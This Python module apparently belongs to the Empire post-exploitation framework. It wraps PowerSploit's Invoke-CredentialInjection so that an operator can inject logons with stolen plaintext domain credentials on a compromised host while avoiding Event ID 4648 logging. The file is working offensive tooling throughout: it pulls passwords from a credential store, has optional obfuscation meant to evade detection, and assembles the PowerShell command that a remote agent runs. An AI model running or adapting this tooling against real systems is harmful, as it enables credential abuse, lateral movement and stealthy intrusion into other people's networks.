from __future__ import print_function
from builtins import str
from builtins import object
from lib.common import helpers
class Module(object):
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-CredentialInjection',
'Author': ['@JosephBialek'],
'Description': ("Runs PowerSploit's Invoke-CredentialInjection to "
"create logons with clear-text credentials without "
"triggering a suspicious Event ID 4648 (Explicit "
"Credential Logon)."),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : True,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-CredentialInjection.ps1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'NewWinLogon' : {
'Description' : 'Switch. Create a new WinLogon.exe process.',
'Required' : False,
'Value' : ''
},
'ExistingWinLogon' : {
'Description' : 'Switch. Use an existing WinLogon.exe process',
'Required' : False,
'Value' : ''
},
'CredID' : {
'Description' : 'CredID from the store to use.',
'Required' : False,
'Value' : ''
},
'DomainName' : {
'Description' : 'The domain name of the user account.',
'Required' : False,
'Value' : ''
},
'UserName' : {
'Description' : 'Username to log in with.',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'Password of the user.',
'Required' : False,
'Value' : ''
},
'LogonType' : {
'Description' : 'Logon type of the injected logon (Interactive, RemoteInteractive, or NetworkCleartext)',
'Required' : False,
'Value' : 'RemoteInteractive'
},
'AuthPackage' : {
'Description' : 'authentication package to use (Kerberos or Msv1_0)',
'Required' : False,
'Value' : 'Kerberos'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-CredentialInjection.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
scriptEnd = "Invoke-CredentialInjection"
if self.options["NewWinLogon"]['Value'] == "" and self.options["ExistingWinLogon"]['Value'] == "":
print(helpers.color("[!] Either NewWinLogon or ExistingWinLogon must be specified"))
return ""
# if a credential ID is specified, try to parse
credID = self.options["CredID"]['Value']
if credID != "":
if not self.mainMenu.credentials.is_credential_valid(credID):
print(helpers.color("[!] CredID is invalid!"))
return ""
(credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
if credType != "plaintext":
print(helpers.color("[!] A CredID with a plaintext password must be used!"))
return ""
if domainName != "":
self.options["DomainName"]['Value'] = domainName
if userName != "":
self.options["UserName"]['Value'] = userName
if password != "":
self.options["Password"]['Value'] = password
if self.options["DomainName"]['Value'] == "" or self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "":
print(helpers.color("[!] DomainName/UserName/Password or CredID required!"))
return ""
for option,values in self.options.items():
if option.lower() != "agent" and option.lower() != "credid":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
scriptEnd += " -" + str(option)
else:
scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script